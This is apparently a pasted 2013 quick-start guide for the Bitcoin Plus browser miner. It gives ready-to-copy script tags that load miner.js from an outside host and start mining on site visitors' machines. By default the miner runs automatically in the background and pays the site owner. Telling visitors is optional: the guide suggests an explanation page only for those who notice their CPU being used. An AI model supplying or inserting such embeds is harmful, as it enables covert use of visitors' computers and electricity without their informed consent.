How to get Bitcoins


SUBMITTED BY: Guest

DATE: April 26, 2013, 4:27 a.m.

FORMAT: Text only

SIZE: 3.9 kB

HITS: 1410

  1. How to get Bitcoins from your site visitors:
  2. This is a bitcoin miner that can be included on any website so that your visitors will mine bitcoins for you.
  3. New: There is now a bitcoin WordPress plugin that you can use on your blog: http://www.bitcoinplus.com/miner/plugins/wordpress
  4. Quick Bitcoin Start Guide:
  5. Add this code to your website, replacing donny@bitcoinplus.com with your Bitcoin Plus email address:
  6. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  7. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  8. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>
  9. This will cause the miner to automatically start in the background, generating bitcoins and sending it to your account.
  10. If you want, you can give a portion of the generated coins to your visitors:
  11. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  12. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  13. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com", {toVisitor: 30})</script>
  14. If they don't have an account, it will go to a temporary account which they can claim by registering. This is what happens when you go to the Bitcoin Plus generate page and generate bitcoins before registering.
  15. Explaining mining to your visitors
  16. Some of your visitors may wonder why their CPU is being used. You can link to this page which has a short explanation: http://www.bitcoinplus.com/miner/whatsthis
  17. Mining fees:
  18. The fee is 19%. If you add a link to Bitcoin Plus, there is a 4% discount on the fee, bringing it down to 15%. This link must go immediately before the script tag containing the BitcoinPlusMiner call:
  19. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  20. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  21. <a href="http://www.bitcoinplus.com/">Use bitcoin at Bitcoin Plus</a>
  22. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>
  23. The Bitcoin miner requires jQuery 1.2 or higher to be present on the page. If you're already using jQuery, you can omit the first line:
  24. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  25. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>
  26. The script tag containing miner.js can go anywhere in your HTML:
  27. <html>
  28. <head>
  29. <title>My Page</title>
  30. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  31. </head>
  32. <body>
  33. Welcome to my page.
  34. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>
  35. </body>
  36. </html>
  37. The call to BitcoinPlusMiner must not be invoked after the page has loaded.
  38. Good:
  39. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>
  40. Bad:
  41. Bad! Do not do this!
  42. <script type="text/javascript">jQuery().ready(function() { BitcoinPlusMiner("donny@bitcoinplus.com") } );</script>
  43. Advanced Usage
  44. You can have the miner automatically add a set of controls for your visitors to use (addControls default: false):
  45. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com", {addControls: true})</script>
  46. You can tell the miner not to start automatically (autostart default: true):
  47. <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com", {autostart: false, addControls: true})</script>
  48. Hide your email address by using your id
  49. <script type="text/javascript">BitcoinPlusMiner(123)</script>

comments powered by Disqus